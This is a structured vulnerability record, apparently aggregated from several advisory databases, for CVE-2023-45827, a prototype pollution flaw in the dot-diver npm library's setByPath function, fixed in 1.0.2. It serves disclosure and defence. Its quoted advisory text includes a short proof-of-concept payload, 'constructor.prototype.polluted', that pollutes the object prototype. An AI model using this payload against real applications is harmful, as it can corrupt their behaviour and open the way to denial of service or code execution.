{"id":"CVE-2023-45827","aliases":["EUVD-2023-2942","GHSA-9w5f-mw3p-pj47"],"status":"published","title":"Prototype Pollution vulnerability in @clickbar/dot-diver","description":"Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object paths in dot notation. In versions prior to 1.0.2 there is a Prototype Pollution vulnerability in the `setByPath` function which can leads to remote code execution (RCE). This issue has been addressed in commit `98daf567` which has been included in release 1.0.2. Users are advised to upgrade. There are no known workarounds to this vulnerability.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01444,"percentile":0.73446,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-1321"],"published":"2023-11-03T19:03:40Z","modified":"2026-10-28T02:30:45Z","exploits":[{"source":"pocgithub","id":"200101WhoAmI/CVE-2023-45827","title":"200101WhoAmI/CVE-2023-45827","date":"2024-08-21","url":"https://github.com/200101WhoAmI/CVE-2023-45827"}],"fixes":[{"ecosystem":"npm","package":"@clickbar/dot-diver","fixed_in":["1.0.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@clickbar/dot-diver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.2"}]}]},{"source":"osv","ecosystem":"npm","package":"@clickbar/dot-diver","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.2"}]}]}],"products":[{"vendor":"clickbar","product":"dot-diver"}],"references":[{"url":"https://github.com/clickbar/dot-diver/security/advisories/GHSA-9w5f-mw3p-pj47","tags":["x_refsource_CONFIRM","x_transferred","Vendor Advisory","advisory","web"]},{"url":"https://github.com/clickbar/dot-diver/commit/98daf567390d816fd378ec998eefe2e97f293d5a","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/clickbar/dot-diver/commit/9790834cf4c2bca75db00e588e58056dacaf602f","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45827","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9w5f-mw3p-pj47"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/45xxx/CVE-2023-45827.json","tags":["advisory"]},{"url":"https://github.com/clickbar/dot-diver","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-45827","title":"Prototype Pollution vulnerability in @clickbar/dot-diver","description":"Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object paths in dot notation. In versions prior to 1.0.2 there is a Prototype Pollution vulnerability in the `setByPath` function which can leads to remote code execution (RCE). This issue has been addressed in commit `98daf567` which has been included in release 1.0.2. Users are advised to upgrade. There are no known workarounds to this vulnerability.\n","status":"published","published":"2023-11-06T17:25:43.774Z","modified":"2024-09-04T18:54:55.435Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:35:22.984825Z"}],"euvd":[{"id":"EUVD-2023-2942","description":"Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object paths in dot notation. In versions prior to 1.0.2 there is a Prototype Pollution vulnerability in the `setByPath` function which can leads to remote code execution (RCE). This issue has been addressed in commit `98daf567` which has been included in release 1.0.2. Users are advised to upgrade. There are no known workarounds to this vulnerability.\n","status":"published","published":"2023-11-06T17:25:43Z","modified":"2024-09-04T18:54:55Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-03T00:56:04.166522Z"}],"ghsa":[{"id":"GHSA-9w5f-mw3p-pj47","title":"Prototype Pollution(PP) vulnerability in setByPath","description":"### Summary\nThere is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.\n\n### Details\n```javascript\n//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277\n\n// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access\n  objectToSet[lastKey] = value\n```\nIn this code, there is no validation for Prototpye Pollution.\n\n### PoC\n```javascript\nimport { getByPath, setByPath } from '@clickbar/dot-diver'\n\nconsole.log({}.polluted); // undefined\nsetByPath({},'constructor.prototype.polluted', 'foo');\nconsole.log({}.polluted); // foo\n```\n\n### Impact\nIt is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.\n\n### Credits\nTeam : NodeBoB\n\n최지혁   ( Jihyeok Choi )\n\n이동하 ( Lee Dong Ha of ZeroPointer Lab )\n\n강성현    ( kang seonghyeun )\n\n박성진    ( sungjin park )\n\n김찬호    ( Chanho Kim )\n\n이수영    ( Lee Su Young )\n\n김민욱    ( MinUk Kim )\n","status":"published","published":"2023-11-03T19:03:40Z","modified":"2023-11-06T19:34:21Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:37:15.055009Z"}],"nvd":[{"id":"CVE-2023-45827","description":"Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object paths in dot notation. In versions prior to 1.0.2 there is a Prototype Pollution vulnerability in the `setByPath` function which can leads to remote code execution (RCE). This issue has been addressed in commit `98daf567` which has been included in release 1.0.2. Users are advised to upgrade. There are no known workarounds to this vulnerability.\n","status":"published","published":"2023-11-06T18:15:08.467Z","modified":"2026-06-17T06:29:36.463Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:08:43.669554Z"}],"osv":[{"id":"CVE-2023-45827","title":"Prototype Pollution vulnerability in @clickbar/dot-diver","description":"Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object paths in dot notation. In versions prior to 1.0.2 there is a Prototype Pollution vulnerability in the `setByPath` function which can leads to remote code execution (RCE). This issue has been addressed in commit `98daf567` which has been included in release 1.0.2. Users are advised to upgrade. There are no known workarounds to this vulnerability.\n","status":"published","published":"2023-11-06T17:25:43.774Z","modified":"2026-10-28T02:30:45.291046462Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:34.287121Z"},{"id":"GHSA-9w5f-mw3p-pj47","title":"Prototype Pollution(PP) vulnerability in setByPath","description":"### Summary\nThere is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.\n\n### Details\n```javascript\n//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277\n\n// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access\n  objectToSet[lastKey] = value\n```\nIn this code, there is no validation for Prototpye Pollution.\n\n### PoC\n```javascript\nimport { getByPath, setByPath } from '@clickbar/dot-diver'\n\nconsole.log({}.polluted); // undefined\nsetByPath({},'constructor.prototype.polluted', 'foo');\nconsole.log({}.polluted); // foo\n```\n\n### Impact\nIt is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.\n\n### Credits\nTeam : NodeBoB\n\n최지혁   ( Jihyeok Choi )\n\n이동하 ( Lee Dong Ha of ZeroPointer Lab )\n\n강성현    ( kang seonghyeun )\n\n박성진    ( sungjin park )\n\n김찬호    ( Chanho Kim )\n\n이수영    ( Lee Su Young )\n\n김민욱    ( MinUk Kim )\n","status":"published","published":"2023-11-03T19:03:40Z","modified":"2023-11-08T04:13:40.209911Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}